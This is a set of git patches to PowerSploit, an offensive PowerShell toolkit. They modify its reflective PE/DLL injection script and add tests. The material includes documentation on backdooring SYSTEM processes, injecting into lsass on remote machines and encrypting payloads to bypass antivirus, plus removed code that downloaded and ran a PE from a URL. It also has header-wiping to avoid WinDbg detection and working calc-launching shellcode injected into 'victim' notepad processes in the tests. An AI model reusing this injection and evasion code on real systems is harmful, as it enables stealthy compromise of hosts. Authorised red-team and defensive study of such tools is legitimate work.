Subject: [PATCH 037/296] Removed extraneous parameters Removed extraneous parameters Removed the following extraneous parameters: -PEPath -PEUrl The functionality they provided can be easily replicated in code outside of Invoke-ReflectivePEInjection. i.e. it should be up to the user how they might want to download a PE before loading it. That should not be dictated by Invoke-ReflectivePEInjection. --- .../Invoke-ReflectivePEInjection.ps1 | 71 ++++--------------- 1 file changed, 13 insertions(+), 58 deletions(-) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index b176d8a6..503ea7f1 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -7,14 +7,12 @@ This script has two modes. It can reflectively load a DLL/EXE in to the PowerShe or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, please lead the Notes section (GENERAL NOTES) for information on how to use them. - 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, this will load and execute the DLL/EXE in to memory without writing any files to disk. - 2.) Reflectively load a DLL in to memory of a remote process. As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. @@ -22,31 +20,17 @@ This is probably most useful for injecting backdoors in SYSTEM processes in Sess from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the remote process. - -While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array -containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will -bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba -blog linked below (thanks to whitey). - PowerSploit Function: Invoke-ReflectivePEInjection Author: Joe Bialek, Twitter: @JosephBialek +Code review and modifications: Matt Graeber, Twitter: @mattifestation License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None -Version: 1.4 .DESCRIPTION Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. -.PARAMETER PEPath - -The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer. - -.PARAMETER PEUrl - -A URL containing a DLL/EXE to load and execute. - .PARAMETER PEBytes A byte array containing a DLL/EXE to load and execute. @@ -81,40 +65,34 @@ Optional, will force the use of ASLR on the PE being loaded even if the PE indic .EXAMPLE -Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). -Note that the file name on the website can be any file extension. -Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString - -.EXAMPLE - Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). -Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local +$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local .EXAMPLE Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print the wchar_t* returned by WStringFunc() from all the computers. -Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) +$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) .EXAMPLE Load DemoEXE and run it locally. -Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" +$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" .EXAMPLE Load DemoEXE and run it locally. Forces ASLR on for the EXE. -Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR +$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR .EXAMPLE Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. -Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local - -.EXAMPLE - -Load a PE from a byte array. -Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4" +$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local .NOTES GENERAL NOTES: @@ -134,8 +112,6 @@ The script has 3 basic sets of functionality: -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. - - DLL LOADING NOTES: PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. @@ -182,17 +158,9 @@ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/b #> -[CmdletBinding(DefaultParameterSetName="WebFile")] +[CmdletBinding()] Param( - [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)] - [String] - $PEPath, - - [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)] - [Uri] - $PEUrl, - - [Parameter(ParameterSetName = "Bytes", Position = 0, Mandatory = $true)] + [Parameter(Position = 0, Mandatory = $true)] [ValidateNotNullOrEmpty()] [Byte[]] $PEBytes, @@ -218,7 +186,6 @@ Param( [String] $ProcName, - [Parameter(Position = 6)] [Switch] $ForceASLR ) @@ -2900,18 +2867,6 @@ Function Main Write-Verbose "PowerShell ProcessID: $PID" - if ($PsCmdlet.ParameterSetName -ieq "LocalFile") - { - Get-ChildItem $PEPath -ErrorAction Stop | Out-Null - [Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath)) - } - elseif ($PsCmdlet.ParameterSetName -ieq "WebFile") - { - $WebClient = New-Object System.Net.WebClient - - [Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl) - } - #Verify the image is a valid PE file $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' From aae81ddfe554abb75c9dd9f1bab5474cfe41c6e7 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Sat, 7 Nov 2015 20:26:08 -0800 Subject: [PATCH 038/296] Adding -DoNotZeroMZ for testing --- .../Invoke-ReflectivePEInjection.ps1 | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index 503ea7f1..8f4533e8 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -62,6 +62,10 @@ Optional, the process ID of the remote process to inject the DLL in to. If not i Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when loading in to a remote process. + +.PARAMETER DoNotZeroMZ + +Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once. .EXAMPLE @@ -187,7 +191,10 @@ Param( $ProcName, [Switch] - $ForceASLR + $ForceASLR, + + [Switch] + $DoNotZeroMZ ) Set-StrictMode -Version 2 @@ -2875,10 +2882,12 @@ Function Main throw 'PE is not a valid PE file.' } - # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg - # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. - $PEBytes[0] = 0 - $PEBytes[1] = 0 + if (-not $DoNotZeroMZ) { + # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg + # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. + $PEBytes[0] = 0 + $PEBytes[1] = 0 + } #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) if ($ExeArgs -ne $null -and $ExeArgs -ne '') From a0ab599810f8f05a9bf24850fb9104516b71abb7 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Mon, 9 Nov 2015 10:52:23 -0800 Subject: [PATCH 039/296] Excluding the Tests folder from being loaded as a module --- PowerSploit.psm1 | 2 +- PowerSploit.pssproj | 1 - Tests/CodeExecution.tests.ps1 | 362 ++++++++++++++++++++++++++++++++++ 3 files changed, 363 insertions(+), 2 deletions(-) create mode 100644 Tests/CodeExecution.tests.ps1 diff --git a/PowerSploit.psm1 b/PowerSploit.psm1 index 550b8be9..9bc02403 100644 --- a/PowerSploit.psm1 +++ b/PowerSploit.psm1 @@ -1 +1 @@ -Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer } | % { Import-Module $_.FullName -DisableNameChecking } +Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer -and ($_.Name -ne 'Tests') } | % { Import-Module $_.FullName -DisableNameChecking } diff --git a/PowerSploit.pssproj b/PowerSploit.pssproj index bd96099d..ea5854c7 100644 --- a/PowerSploit.pssproj +++ b/PowerSploit.pssproj @@ -78,7 +78,6 @@ - diff --git a/Tests/CodeExecution.tests.ps1 b/Tests/CodeExecution.tests.ps1 new file mode 100644 index 00000000..b8e415e6 --- /dev/null +++ b/Tests/CodeExecution.tests.ps1 @@ -0,0 +1,362 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." +$ModuleManifest = "$ModuleRoot\CodeExecution\CodeExecution.psd1" + +Remove-Module [C]odeExecution +Import-Module $ModuleManifest -Force -ErrorAction Stop + +Describe 'Invoke-Shellcode' { + # 32-bit calc popping shellcode + [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, + 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, + 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, + 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, + 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, + 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, + 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, + 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, + 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, + 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, + 0x61,0x6c,0x63,0x00) + + # 64-bit calc popping shellcode + [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, + 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, + 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, + 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, + 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, + 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, + 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, + 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, + 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, + 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, + 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, + 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, + 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) + + $PowerShell32bit = $False + $Shellcode = $Shellcode64 + + if ([IntPtr]::Size -eq 4) { + $PowerShell32bit = $True + $Shellcode = $Shellcode32 + } + + $64BitOS = $False + if ($Env:ProgramW6432) { $64BitOS = $True } + + # When launching notepad.exe, the bitness of the process needs to match that of powershell.exe + if ($PowerShell32bit -and $64BitOS) { + # 32-bit PowerShell on a 64-bit OS needs to launch Wow64 notepad + $NotepadPath = "$($Env:SystemRoot)\SysWow64\notepad.exe" + } else { + $NotepadPath = "$($Env:SystemRoot)\System32\notepad.exe" + } + + BeforeEach { + # Kill all running instances of calc.exe or Calculator.exe (i.e. "modern" calc) + Get-Process | Where-Object { $_.ProcessName -match '^[Cc]alc(ulator)?$' } | Stop-Process -Force + } + + It 'should pop calc without arguments' { + Invoke-Shellcode -Force + + Start-Sleep -Seconds 2 + } + + It 'should pop calc in host process with -Shellcode arg' { + Invoke-Shellcode -Shellcode $Shellcode -Force + + Start-Sleep -Seconds 2 + } + + It 'should pop calc in victim notepad.exe process without -Shellcode arg' { + $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath + + if ($NotepadProc.ReturnValue -ne 0) { + throw 'Could not start victim process: notepad.exe' + } + + $VictimPID = $NotepadProc.ProcessId + + Invoke-Shellcode -ProcessId $VictimPID -Force + + Start-Sleep -Seconds 2 + + Stop-Process -Id $VictimPID + } + + It 'should pop calc in victim notepad.exe process with -Shellcode arg' { + $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath + + if ($NotepadProc.ReturnValue -ne 0) { + throw 'Could not start victim process: notepad.exe' + } + + $VictimPID = $NotepadProc.ProcessId + + Invoke-Shellcode -ProcessId $VictimPID -Shellcode $Shellcode -Force + + Start-Sleep -Seconds 2 + + Stop-Process -Id $VictimPID + } + + AfterEach { + # Validate that a calc process was launched by the shellcode + + $CalcProcs = Get-Process | Where-Object { $_.ProcessName -match '^[Cc]alc(ulator)?$' } + $CalcCount = $CalcProcs | Measure-Object + + if ($CalcCount.Count -gt 0) { + $CalcProcs | Stop-Process -Force + } + + $CalcCount.Count | Should BeGreaterThan 0 + } +} + +Describe 'Invoke-DllInjection' { + $Accessibilitycpl = 'accessibilitycpl.dll' + $AccessibilitycplPath = "$($Env:SystemRoot)\System32\$Accessibilitycpl" + + It 'should inject a known system DLL' { + if (-not (Test-Path $AccessibilitycplPath)) { + throw "$AccessibilitycplPath does not exist on disk." + } + + $LoadedModule = Invoke-DllInjection -ProcessID $PID -Dll $AccessibilitycplPath + $LoadedModule | Should Not BeNullOrEmpty + + $LoadedModule -is [System.Diagnostics.ProcessModule] | Should Be $True + $LoadedModule.ModuleName | Should Be $Accessibilitycpl + } + + It 'should not inject a non-existent DLL' { + $NonExistentDllPath = 'C:\foo.dll' + + Test-Path $NonExistentDllPath | Should Be $False + + { Invoke-DllInjection -ProcessID $PID -Dll $NonExistentDllPath } | Should Throw + } + + It 'should not inject to a non-existent process' { + { Invoke-DllInjection -ProcessID 0 -Dll $AccessibilitycplPath } | Should Throw + } +} + +Describe 'Invoke-WmiCommand' { + $RegistryHive = 'HKEY_CURRENT_USER' + $KeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG' + $RegistryKeyPath = "HKCU:\$KeyPath" + $RegistryPayloadValueName = 'Seed' + $RegistryResultValueName = 'Value' + $ComputerName = 'localhost' + $SamplePayload = { 1+1 } + $SamplePayloadResult = & $SamplePayload + $SamplePayloadResultType = $SamplePayloadResult.GetType() + + Context 'Successful code execution' { + BeforeEach { + # Ensure registry keys and values are cleaned up prior to execution + Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryPayloadValueName -ErrorAction SilentlyContinue + Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryResultValueName -ErrorAction SilentlyContinue + Remove-Item -Path $RegistryKeyPath -ErrorAction SilentlyContinue + } + + AfterEach { + { Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryPayloadValueName -ErrorAction Stop } | Should Throw + { Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryResultValueName -ErrorAction Stop } | Should Throw + { Remove-Item -Path $RegistryKeyPath -ErrorAction Stop } | Should Throw + } + + It 'should execute a sample payload locally and clean up properly' { + $Result = Invoke-WmiCommand -Payload $SamplePayload + + $Result | Should Not BeNullOrEmpty + $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True + $Result.PayloadOutput | Should Be $SamplePayloadResult + $Result.PSComputerName | Should Be $ComputerName + } + + It 'should execute a sample payload "remotely" (localhost) and clean up properly' { + $Result = Invoke-WmiCommand -Payload $SamplePayload -ComputerName $ComputerName + + $Result | Should Not BeNullOrEmpty + $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True + $Result.PayloadOutput | Should Be $SamplePayloadResult + $Result.PSComputerName | Should Be $ComputerName + } + + It 'should execute a sample payload with explicit arguments locally and clean up properly' { + $Result = Invoke-WmiCommand -Payload $SamplePayload -RegistryHive $RegistryHive -RegistryKeyPath $KeyPath -RegistryPayloadValueName $RegistryPayloadValueName -RegistryResultValueName $RegistryResultValueName + + $Result | Should Not BeNullOrEmpty + $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True + $Result.PayloadOutput | Should Be $SamplePayloadResult + $Result.PSComputerName | Should Be $ComputerName + } + } + + Context 'Invalid arguments' { + It 'should not process invalid registry hives' { + { Invoke-WmiCommand -Payload $SamplePayload -RegistryHive 'HKEY_FOO' -RegistryKeyPath $KeyPath -RegistryPayloadValueName $RegistryPayloadValueName -RegistryResultValueName $RegistryResultValueName } | Should Throw + } + } +} + +Describe 'Invoke-ReflectivePEInjection' { + # A bare bones test harness DLL that simply returns L"Hello, world!" upon having WStringFunc called + # See https://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ + $Encoded64BitWStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAACCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + $Encoded32BitWStringDll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACpa+De7QqOje0Kjo3tCo6Nz3NqjewKjo3Pc1KN7AqOjc9zUI3sCo6NUmljaO0Kjo0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEDAO/wPFYAAAAAAAAAAOAAAiELAQwAAAIAAAAEAAAAAAAAABAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABQABAAAAAAAFAAEAAAAAAABAAAAABAAANegAAAEAQAEAABAAABAAAAAAEAAAEAAAAAAAABAAAAAgIAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAFgAAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAIAAAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAYAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgBAAAAwgwA